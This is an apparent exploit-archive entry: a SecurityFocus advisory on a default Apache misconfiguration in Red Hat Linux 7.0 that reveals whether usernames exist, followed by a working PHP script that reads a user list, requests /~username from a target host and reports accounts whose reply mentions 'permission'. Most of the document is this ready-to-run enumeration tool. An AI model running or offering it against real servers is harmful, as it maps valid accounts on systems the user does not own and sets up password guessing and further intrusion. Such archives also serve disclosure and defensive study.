57 lines
No EOL
2 KiB
PHP
57 lines
No EOL
2 KiB
PHP
source: https://www.securityfocus.com/bid/3335/info
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Versions of Apache webserver shipping with Red Hat Linux 7.0 (and possibly other Apache distributions) install with a default misconfiguration which could allow remote users to determine whether a give username exists on the vulnerable system.
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http://www.example.com/~<username>
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When a remote user makes a request for a possible user's default home page, the server returns one of three responses:
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In a case where <username> is a valid user account, and has been configured with a homepage, the server responds with the user's homepage.
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When <username> exists on the system, but has not been assigned a homepage document, the server returns the message "You don't have permission to access /~username on this server."
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However, if the tested username does not exist as an account on the system, the Apache server's response includes the message "The requested URL /~username was not found on this server."
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Because the server responds differently in the latter two cases, a remote user can test and enumerate possible usernames. Properly exploited, this information could be used in further attacks on the vulnerable hos
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#!/usr/local/bin/php -q
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<?
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/*
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default misconfiguration which could allow remote users
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to determine whether a give username exists on the vulnerable system.
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By Gabriel A Maggiotti
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*/
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if( $argc!=4)
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{
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echo "usagge: $argv[0] <host> <userlist> <delay>\n";
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return 1;
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}
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$host=$argv[1];
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$userlist=$argv[2];
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$fd = fopen ($userlist, "r");
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while (!feof ($fd)) {
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$user = fgets($fd, 4096);
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$fp = fsockopen ($host, 80 , &$errno, &$errstr, 30);
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fputs ($fp, "GET /~$user HTTP/1.0\r\n\r\n");
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while (!feof ($fp)) {
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$sniff=fgets($fp,1024);
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if(strpos($sniff,"permission")!="") {
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echo "$user exists!!!\n";
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break;
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}
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}
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fclose ($fp);
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sleep(3);
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}
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fclose ($fd);
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?>
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